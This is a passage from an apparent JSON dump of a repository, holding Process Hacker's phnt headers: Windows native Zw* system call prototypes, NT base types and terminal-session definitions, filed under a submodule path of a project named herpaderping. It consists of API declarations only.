);\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwVdmControl(\n _In_ VDMSERVICECLASS Service,\n _Inout_ PVOID ServiceData\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForAlertByThreadId(\n _In_ PVOID Address,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForDebugEvent(\n _In_ HANDLE DebugObjectHandle,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout,\n _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForKeyedEvent(\n _In_ HANDLE KeyedEventHandle,\n _In_ PVOID KeyValue,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForMultipleObjects(\n _In_ ULONG Count,\n _In_reads_(Count) HANDLE Handles[],\n _In_ WAIT_TYPE WaitType,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForMultipleObjects32(\n _In_ ULONG Count,\n _In_reads_(Count) LONG Handles[],\n _In_ WAIT_TYPE WaitType,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForSingleObject(\n _In_ HANDLE Handle,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitForWorkViaWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _Out_ struct _FILE_IO_COMPLETION_INFORMATION *MiniPacket\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitHighEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWaitLowEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWorkerFactoryWorkerReady(\n _In_ HANDLE WorkerFactoryHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWriteFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWriteFileGather(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PFILE_SEGMENT_ELEMENT SegmentArray,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWriteRequestData(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ ULONG DataEntryIndex,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesWritten\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwWriteVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesWritten\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwYieldExecution(\n VOID\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/phnt.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _PHNT_H\n#define _PHNT_H\n\n// This header file provides access to NT APIs.\n\n// Definitions are annotated to indicate their source. If a definition is not annotated, it has been\n// retrieved from an official Microsoft source (NT headers, DDK headers, winnt.h).\n\n// * \"winbase\" indicates that a definition has been reconstructed from a Win32-ized NT definition in\n// winbase.h.\n// * \"rev\" indicates that a definition has been reverse-engineered.\n// * \"dbg\" indicates that a definition has been obtained from a debug message or assertion in a\n// checked build of the kernel or file.\n\n// Reliability:\n// 1. No annotation.\n// 2. dbg.\n// 3. symbols, private. Types may be incorrect.\n// 4. winbase. Names and types may be incorrect.\n// 5. rev.\n\n// Mode\n#define PHNT_MODE_KERNEL 0\n#define PHNT_MODE_USER 1\n\n// Version\n#define PHNT_WIN2K 50\n#define PHNT_WINXP 51\n#define PHNT_WS03 52\n#define PHNT_VISTA 60\n#define PHNT_WIN7 61\n#define PHNT_WIN8 62\n#define PHNT_WINBLUE 63\n#define PHNT_THRESHOLD 100\n#define PHNT_THRESHOLD2 101\n#define PHNT_REDSTONE 102\n#define PHNT_REDSTONE2 103\n#define PHNT_REDSTONE3 104\n#define PHNT_REDSTONE4 105\n#define PHNT_REDSTONE5 106\n#define PHNT_19H1 107\n#define PHNT_19H2 108\n\n#ifndef PHNT_MODE\n#define PHNT_MODE PHNT_MODE_USER\n#endif\n\n#ifndef PHNT_VERSION\n#define PHNT_VERSION PHNT_WIN7\n#endif\n\n// Options\n\n//#define PHNT_NO_INLINE_INIT_STRING\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#include \n#include \n#include \n#endif\n\n#include \n#include \n\n#include \n#include \n#include \n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#include \n#include \n#include \n#include \n\n#include \n\n#include \n#include \n\n#include \n\n#include \n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/phnt_ntdef.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _PHNT_NTDEF_H\n#define _PHNT_NTDEF_H\n\n#ifndef _NTDEF_\n#define _NTDEF_\n\n// This header file provides basic NT types not included in Win32. If you have included winnt.h\n// (perhaps indirectly), you must use this file instead of ntdef.h.\n\n#ifndef NOTHING\n#define NOTHING\n#endif\n\n// Basic types\n\ntypedef struct _QUAD\n{\n union\n {\n __int64 UseThisFieldToCopy;\n double DoNotUseThisField;\n };\n} QUAD, *PQUAD;\n\n// This isn't in NT, but it's useful.\ntypedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _QUAD_PTR\n{\n ULONG_PTR DoNotUseThisField1;\n ULONG_PTR DoNotUseThisField2;\n} QUAD_PTR, *PQUAD_PTR;\n\ntypedef ULONG LOGICAL;\ntypedef ULONG *PLOGICAL;\n\ntypedef _Success_(return >= 0) LONG NTSTATUS;\ntypedef NTSTATUS *PNTSTATUS;\n\n// Cardinal types\n\ntypedef char CCHAR;\ntypedef short CSHORT;\ntypedef ULONG CLONG;\n\ntypedef CCHAR *PCCHAR;\ntypedef CSHORT *PCSHORT;\ntypedef CLONG *PCLONG;\n\ntypedef PCSTR PCSZ;\n\n// Specific\n\ntypedef UCHAR KIRQL, *PKIRQL;\ntypedef LONG KPRIORITY;\ntypedef USHORT RTL_ATOM, *PRTL_ATOM;\n\ntypedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\n\n// NT status macros\n\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)\n#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n\n#define NT_FACILITY_MASK 0xfff\n#define NT_FACILITY_SHIFT 16\n#define NT_FACILITY(Status) ((((ULONG)(Status)) >> NT_FACILITY_SHIFT) & NT_FACILITY_MASK)\n\n#define NT_NTWIN32(Status) (NT_FACILITY(Status) == FACILITY_NTWIN32)\n#define WIN32_FROM_NTSTATUS(Status) (((ULONG)(Status)) & 0xffff)\n\n// Functions\n\n#ifndef _WIN64\n#define FASTCALL __fastcall\n#else\n#define FASTCALL\n#endif\n\n// Synchronization enumerations\n\ntypedef enum _EVENT_TYPE\n{\n NotificationEvent,\n SynchronizationEvent\n} EVENT_TYPE;\n\ntypedef enum _TIMER_TYPE\n{\n NotificationTimer,\n SynchronizationTimer\n} TIMER_TYPE;\n\ntypedef enum _WAIT_TYPE\n{\n WaitAll,\n WaitAny,\n WaitNotification\n} WAIT_TYPE;\n\n// Strings\n\ntypedef struct _STRING\n{\n USHORT Length;\n USHORT MaximumLength;\n _Field_size_bytes_part_opt_(MaximumLength, Length) PCHAR Buffer;\n} STRING, *PSTRING, ANSI_STRING, *PANSI_STRING, OEM_STRING, *POEM_STRING;\n\ntypedef const STRING *PCSTRING;\ntypedef const ANSI_STRING *PCANSI_STRING;\ntypedef const OEM_STRING *PCOEM_STRING;\n\ntypedef struct _UNICODE_STRING\n{\n USHORT Length;\n USHORT MaximumLength;\n _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;\n} UNICODE_STRING, *PUNICODE_STRING;\n\ntypedef const UNICODE_STRING *PCUNICODE_STRING;\n\n#define RTL_CONSTANT_STRING(s) { sizeof(s) - sizeof((s)[0]), sizeof(s), s }\n\n// Balanced tree node\n\n#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 3\n\ntypedef struct _RTL_BALANCED_NODE\n{\n union\n {\n struct _RTL_BALANCED_NODE *Children[2];\n struct\n {\n struct _RTL_BALANCED_NODE *Left;\n struct _RTL_BALANCED_NODE *Right;\n };\n };\n union\n {\n UCHAR Red : 1;\n UCHAR Balance : 2;\n ULONG_PTR ParentValue;\n };\n} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE;\n\n#define RTL_BALANCED_NODE_GET_PARENT_POINTER(Node) \\\n ((PRTL_BALANCED_NODE)((Node)->ParentValue & ~RTL_BALANCED_NODE_RESERVED_PARENT_MASK))\n\n// Portability\n\ntypedef struct _SINGLE_LIST_ENTRY32\n{\n ULONG Next;\n} SINGLE_LIST_ENTRY32, *PSINGLE_LIST_ENTRY32;\n\ntypedef struct _STRING32\n{\n USHORT Length;\n USHORT MaximumLength;\n ULONG Buffer;\n} STRING32, *PSTRING32;\n\ntypedef STRING32 UNICODE_STRING32, *PUNICODE_STRING32;\ntypedef STRING32 ANSI_STRING32, *PANSI_STRING32;\n\ntypedef struct _STRING64\n{\n USHORT Length;\n USHORT MaximumLength;\n ULONGLONG Buffer;\n} STRING64, *PSTRING64;\n\ntypedef STRING64 UNICODE_STRING64, *PUNICODE_STRING64;\ntypedef STRING64 ANSI_STRING64, *PANSI_STRING64;\n\n// Object attributes\n\n#define OBJ_INHERIT 0x00000002\n#define OBJ_PERMANENT 0x00000010\n#define OBJ_EXCLUSIVE 0x00000020\n#define OBJ_CASE_INSENSITIVE 0x00000040\n#define OBJ_OPENIF 0x00000080\n#define OBJ_OPENLINK 0x00000100\n#define OBJ_KERNEL_HANDLE 0x00000200\n#define OBJ_FORCE_ACCESS_CHECK 0x00000400\n#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800\n#define OBJ_DONT_REPARSE 0x00001000\n#define OBJ_VALID_ATTRIBUTES 0x00001ff2\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n ULONG Length;\n HANDLE RootDirectory;\n PUNICODE_STRING ObjectName;\n ULONG Attributes;\n PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;\n PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE\n} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\n\ntypedef const OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;\n\n#define InitializeObjectAttributes(p, n, a, r, s) { \\\n (p)->Length = sizeof(OBJECT_ATTRIBUTES); \\\n (p)->RootDirectory = r; \\\n (p)->Attributes = a; \\\n (p)->ObjectName = n; \\\n (p)->SecurityDescriptor = s; \\\n (p)->SecurityQualityOfService = NULL; \\\n }\n\n#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL, n, a, NULL, NULL }\n#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)\n\n#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\\\')\n\n// Portability\n\ntypedef struct _OBJECT_ATTRIBUTES64\n{\n ULONG Length;\n ULONG64 RootDirectory;\n ULONG64 ObjectName;\n ULONG Attributes;\n ULONG64 SecurityDescriptor;\n ULONG64 SecurityQualityOfService;\n} OBJECT_ATTRIBUTES64, *POBJECT_ATTRIBUTES64;\n\ntypedef const OBJECT_ATTRIBUTES64 *PCOBJECT_ATTRIBUTES64;\n\ntypedef struct _OBJECT_ATTRIBUTES32\n{\n ULONG Length;\n ULONG RootDirectory;\n ULONG ObjectName;\n ULONG Attributes;\n ULONG SecurityDescriptor;\n ULONG SecurityQualityOfService;\n} OBJECT_ATTRIBUTES32, *POBJECT_ATTRIBUTES32;\n\ntypedef const OBJECT_ATTRIBUTES32 *PCOBJECT_ATTRIBUTES32;\n\n// Product types\n\ntypedef enum _NT_PRODUCT_TYPE\n{\n NtProductWinNt = 1,\n NtProductLanManNt,\n NtProductServer\n} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE;\n\ntypedef enum _SUITE_TYPE\n{\n SmallBusiness,\n Enterprise,\n BackOffice,\n CommunicationServer,\n TerminalServer,\n SmallBusinessRestricted,\n EmbeddedNT,\n DataCenter,\n SingleUserTS,\n Personal,\n Blade,\n EmbeddedRestricted,\n SecurityAppliance,\n StorageServer,\n ComputeServer,\n WHServer,\n PhoneNT,\n MaxSuiteType\n} SUITE_TYPE;\n\n// Specific\n\ntypedef struct _CLIENT_ID\n{\n HANDLE UniqueProcess;\n HANDLE UniqueThread;\n} CLIENT_ID, *PCLIENT_ID;\n\ntypedef struct _CLIENT_ID32\n{\n ULONG UniqueProcess;\n ULONG UniqueThread;\n} CLIENT_ID32, *PCLIENT_ID32;\n\ntypedef struct _CLIENT_ID64\n{\n ULONGLONG UniqueProcess;\n ULONGLONG UniqueThread;\n} CLIENT_ID64, *PCLIENT_ID64;\n\n#include \n\ntypedef struct _KSYSTEM_TIME\n{\n ULONG LowPart;\n LONG High1Time;\n LONG High2Time;\n} KSYSTEM_TIME, *PKSYSTEM_TIME;\n\n#include \n\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/phnt_windows.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _PHNT_WINDOWS_H\n#define _PHNT_WINDOWS_H\n\n// This header file provides access to Win32, plus NTSTATUS values and some access mask values.\n\n#ifndef CINTERFACE\n#define CINTERFACE\n#endif\n\n#ifndef COBJMACROS\n#define COBJMACROS\n#endif\n\n#ifndef INITGUID\n#define INITGUID\n#endif\n\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n\n#ifndef WIN32_NO_STATUS\n#define WIN32_NO_STATUS\n#endif\n\n#include \n#include \n#undef WIN32_NO_STATUS\n#include \n#include \n\ntypedef double DOUBLE;\ntypedef GUID *PGUID;\n\n// Desktop access rights\n#define DESKTOP_ALL_ACCESS \\\n (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | \\\n DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | \\\n DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | \\\n STANDARD_RIGHTS_REQUIRED)\n#define DESKTOP_GENERIC_READ \\\n (DESKTOP_ENUMERATE | DESKTOP_READOBJECTS | STANDARD_RIGHTS_READ)\n#define DESKTOP_GENERIC_WRITE \\\n (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_HOOKCONTROL | \\\n DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_WRITEOBJECTS | \\\n STANDARD_RIGHTS_WRITE)\n#define DESKTOP_GENERIC_EXECUTE \\\n (DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_EXECUTE)\n\n// Window station access rights\n#define WINSTA_GENERIC_READ \\\n (WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_READATTRIBUTES | \\\n WINSTA_READSCREEN | STANDARD_RIGHTS_READ)\n#define WINSTA_GENERIC_WRITE \\\n (WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | WINSTA_WRITEATTRIBUTES | \\\n STANDARD_RIGHTS_WRITE)\n#define WINSTA_GENERIC_EXECUTE \\\n (WINSTA_ACCESSGLOBALATOMS | WINSTA_EXITWINDOWS | STANDARD_RIGHTS_EXECUTE)\n\n// WMI access rights\n#define WMIGUID_GENERIC_READ \\\n (WMIGUID_QUERY | WMIGUID_NOTIFICATION | WMIGUID_READ_DESCRIPTION | \\\n STANDARD_RIGHTS_READ)\n#define WMIGUID_GENERIC_WRITE \\\n (WMIGUID_SET | TRACELOG_CREATE_REALTIME | TRACELOG_CREATE_ONDISK | \\\n STANDARD_RIGHTS_WRITE)\n#define WMIGUID_GENERIC_EXECUTE \\\n (WMIGUID_EXECUTE | TRACELOG_GUID_ENABLE | TRACELOG_LOG_EVENT | \\\n TRACELOG_ACCESS_REALTIME | TRACELOG_REGISTER_GUIDS | \\\n STANDARD_RIGHTS_EXECUTE)\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/subprocesstag.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _SUBPROCESSTAG_H\n#define _SUBPROCESSTAG_H\n\n// Subprocess tag information\n\ntypedef enum _TAG_INFO_LEVEL\n{\n eTagInfoLevelNameFromTag = 1, // TAG_INFO_NAME_FROM_TAG\n eTagInfoLevelNamesReferencingModule, // TAG_INFO_NAMES_REFERENCING_MODULE\n eTagInfoLevelNameTagMapping, // TAG_INFO_NAME_TAG_MAPPING\n eTagInfoLevelMax\n} TAG_INFO_LEVEL;\n\ntypedef enum _TAG_TYPE\n{\n eTagTypeService = 1,\n eTagTypeMax\n} TAG_TYPE;\n\ntypedef struct _TAG_INFO_NAME_FROM_TAG_IN_PARAMS\n{\n DWORD dwPid;\n DWORD dwTag;\n} TAG_INFO_NAME_FROM_TAG_IN_PARAMS, *PTAG_INFO_NAME_FROM_TAG_IN_PARAMS;\n\ntypedef struct _TAG_INFO_NAME_FROM_TAG_OUT_PARAMS\n{\n DWORD eTagType;\n LPWSTR pszName;\n} TAG_INFO_NAME_FROM_TAG_OUT_PARAMS, *PTAG_INFO_NAME_FROM_TAG_OUT_PARAMS;\n\ntypedef struct _TAG_INFO_NAME_FROM_TAG\n{\n TAG_INFO_NAME_FROM_TAG_IN_PARAMS InParams;\n TAG_INFO_NAME_FROM_TAG_OUT_PARAMS OutParams;\n} TAG_INFO_NAME_FROM_TAG, *PTAG_INFO_NAME_FROM_TAG;\n\ntypedef struct _TAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS\n{\n DWORD dwPid;\n LPWSTR pszModule;\n} TAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS, *PTAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS;\n\ntypedef struct _TAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS\n{\n DWORD eTagType;\n LPWSTR pmszNames;\n} TAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS, *PTAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS;\n\ntypedef struct _TAG_INFO_NAMES_REFERENCING_MODULE\n{\n TAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS InParams;\n TAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS OutParams;\n} TAG_INFO_NAMES_REFERENCING_MODULE, *PTAG_INFO_NAMES_REFERENCING_MODULE;\n\ntypedef struct _TAG_INFO_NAME_TAG_MAPPING_IN_PARAMS\n{\n DWORD dwPid;\n} TAG_INFO_NAME_TAG_MAPPING_IN_PARAMS, *PTAG_INFO_NAME_TAG_MAPPING_IN_PARAMS;\n\ntypedef struct _TAG_INFO_NAME_TAG_MAPPING_ELEMENT\n{\n DWORD eTagType;\n DWORD dwTag;\n LPWSTR pszName;\n LPWSTR pszGroupName;\n} TAG_INFO_NAME_TAG_MAPPING_ELEMENT, *PTAG_INFO_NAME_TAG_MAPPING_ELEMENT;\n\ntypedef struct _TAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS\n{\n DWORD cElements;\n PTAG_INFO_NAME_TAG_MAPPING_ELEMENT pNameTagMappingElements;\n} TAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS, *PTAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS;\n\ntypedef struct _TAG_INFO_NAME_TAG_MAPPING\n{\n TAG_INFO_NAME_TAG_MAPPING_IN_PARAMS InParams;\n PTAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS pOutParams;\n} TAG_INFO_NAME_TAG_MAPPING, *PTAG_INFO_NAME_TAG_MAPPING;\n\n_Must_inspect_result_\nDWORD\nWINAPI\nI_QueryTagInformation(\n _In_opt_ LPCWSTR pszMachineName,\n _In_ TAG_INFO_LEVEL eInfoLevel,\n _Inout_ PVOID pTagInfo\n );\n\ntypedef DWORD (WINAPI *PQUERY_TAG_INFORMATION)(\n _In_opt_ LPCWSTR pszMachineName,\n _In_ TAG_INFO_LEVEL eInfoLevel,\n _Inout_ PVOID pTagInfo\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/winsta.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _WINSTA_H\n#define _WINSTA_H\n\n// Access rights\n\n#define WINSTATION_QUERY 0x00000001 // WinStationQueryInformation\n#define WINSTATION_SET 0x00000002 // WinStationSetInformation\n#define WINSTATION_RESET 0x00000004 // WinStationReset\n#define WINSTATION_VIRTUAL 0x00000008 //read/write direct data\n#define WINSTATION_SHADOW 0x00000010 // WinStationShadow\n#define WINSTATION_LOGON 0x00000020 // logon to WinStation\n#define WINSTATION_LOGOFF 0x00000040 // WinStationLogoff\n#define WINSTATION_MSG 0x00000080 // WinStationMsg\n#define WINSTATION_CONNECT 0x00000100 // WinStationConnect\n#define WINSTATION_DISCONNECT 0x00000200 // WinStationDisconnect\n#define WINSTATION_GUEST_ACCESS WINSTATION_LOGON\n\n#define WINSTATION_CURRENT_GUEST_ACCESS (WINSTATION_VIRTUAL | WINSTATION_LOGOFF)\n#define WINSTATION_USER_ACCESS (WINSTATION_GUEST_ACCESS | WINSTATION_QUERY | WINSTATION_CONNECT)\n#define WINSTATION_CURRENT_USER_ACCESS \\\n (WINSTATION_SET | WINSTATION_RESET | WINSTATION_VIRTUAL | \\\n WINSTATION_LOGOFF | WINSTATION_DISCONNECT)\n#define WINSTATION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | WINSTATION_QUERY | \\\n WINSTATION_SET | WINSTATION_RESET | WINSTATION_VIRTUAL | \\\n WINSTATION_SHADOW | WINSTATION_LOGON | WINSTATION_MSG | \\\n WINSTATION_CONNECT | WINSTATION_DISCONNECT)\n\n#define WDPREFIX_LENGTH 12\n#define CALLBACK_LENGTH 50\n#define DLLNAME_LENGTH 32\n#define CDNAME_LENGTH 32\n#define WDNAME_LENGTH 32\n#define PDNAME_LENGTH 32\n#define DEVICENAME_LENGTH 128\n#define MODEMNAME_LENGTH DEVICENAME_LENGTH\n#define STACK_ADDRESS_LENGTH 128\n#define MAX_BR_NAME 65\n#define DIRECTORY_LENGTH 256\n#define INITIALPROGRAM_LENGTH 256\n#define USERNAME_LENGTH 20\n#define DOMAIN_LENGTH 17\n#define PASSWORD_LENGTH 14\n#define NASISPECIFICNAME_LENGTH 14\n#define NASIUSERNAME_LENGTH 47\n#define NASIPASSWORD_LENGTH 24\n#define NASISESSIONNAME_LENGTH 16\n#define NASIFILESERVER_LENGTH 47\n\n#define CLIENTDATANAME_LENGTH 7\n#define CLIENTNAME_LENGTH 20\n#define CLIENTADDRESS_LENGTH 30\n#define IMEFILENAME_LENGTH 32\n#define DIRECTORY_LENGTH 256\n#define CLIENTLICENSE_LENGTH 32\n#define CLIENTMODEM_LENGTH 40\n#define CLIENT_PRODUCT_ID_LENGTH 32\n#define MAX_COUNTER_EXTENSIONS 2\n#define WINSTATIONNAME_LENGTH 32\n\n#define TERMSRV_TOTAL_SESSIONS 1\n#define TERMSRV_DISC_SESSIONS 2\n#define TERMSRV_RECON_SESSIONS 3\n#define TERMSRV_CURRENT_ACTIVE_SESSIONS 4\n#define TERMSRV_CURRENT_DISC_SESSIONS 5\n#define TERMSRV_PENDING_SESSIONS 6\n#define TERMSRV_SUCC_TOTAL_LOGONS 7\n#define TERMSRV_SUCC_LOCAL_LOGONS 8\n#define TERMSRV_SUCC_REMOTE_LOGONS 9\n#define TERMSRV_SUCC_SESSION0_LOGONS 10\n#define TERMSRV_CURRENT_TERMINATING_SESSIONS 11\n#define TERMSRV_CURRENT_LOGGEDON_SESSIONS 12\n\ntypedef RTL_TIME_ZONE_INFORMATION TS_TIME_ZONE_INFORMATION, *PTS_TIME_ZONE_INFORMATION;\n\ntypedef WCHAR WINSTATIONNAME[WINSTATIONNAME_LENGTH + 1];\n\n// Variable length data descriptor (not needed)\ntypedef struct _VARDATA_WIRE\n{\n USHORT Size;\n USHORT Offset;\n} VARDATA_WIRE, *PVARDATA_WIRE;\n\ntypedef enum _WINSTATIONSTATECLASS\n{\n State_Active = 0,\n State_Connected = 1,\n State_ConnectQuery = 2,\n State_Shadow = 3,\n State_Disconnected = 4,\n State_Idle = 5,\n State_Listen = 6,\n State_Reset = 7,\n State_Down = 8,\n State_Init = 9\n} WINSTATIONSTATECLASS;\n\ntypedef struct _SESSIONIDW\n{\n union\n {\n ULONG SessionId;\n ULONG LogonId;\n };\n WINSTATIONNAME WinStationName;\n WINSTATIONSTATECLASS State;\n} SESSIONIDW, *PSESSIONIDW;\n\n// private\ntypedef enum _WINSTATIONINFOCLASS\n{\n WinStationCreateData, // WINSTATIONCREATE\n WinStationConfiguration, // WINSTACONFIGWIRE + USERCONFIG\n WinStationPdParams, // PDPARAMS\n WinStationWd, // WDCONFIG\n WinStationPd, // PDCONFIG2 + PDPARAMS\n WinStationPrinter, // Not supported.\n WinStationClient, // WINSTATIONCLIENT\n WinStationModules,\n WinStationInformation, // WINSTATIONINFORMATION\n WinStationTrace,\n WinStationBeep,\n WinStationEncryptionOff,\n WinStationEncryptionPerm,\n WinStationNtSecurity,\n WinStationUserToken, // WINSTATIONUSERTOKEN\n WinStationUnused1,\n WinStationVideoData, // WINSTATIONVIDEODATA\n WinStationInitialProgram,\n WinStationCd, // CDCONFIG\n WinStationSystemTrace,\n WinStationVirtualData,\n WinStationClientData, // WINSTATIONCLIENTDATA\n WinStationSecureDesktopEnter,\n WinStationSecureDesktopExit,\n WinStationLoadBalanceSessionTarget, // ULONG\n WinStationLoadIndicator, // WINSTATIONLOADINDICATORDATA\n WinStationShadowInfo, // WINSTATIONSHADOW\n WinStationDigProductId, // WINSTATIONPRODID\n WinStationLockedState, // BOOL\n WinStationRemoteAddress, // WINSTATIONREMOTEADDRESS\n WinStationIdleTime, // ULONG\n WinStationLastReconnectType, // ULONG\n WinStationDisallowAutoReconnect, // BOOLEAN\n WinStationMprNotifyInfo,\n WinStationExecSrvSystemPipe,\n WinStationSmartCardAutoLogon,\n WinStationIsAdminLoggedOn,\n WinStationReconnectedFromId, // ULONG\n WinStationEffectsPolicy, // ULONG\n WinStationType, // ULONG\n WinStationInformationEx, // WINSTATIONINFORMATIONEX \n WinStationValidationInfo\n} 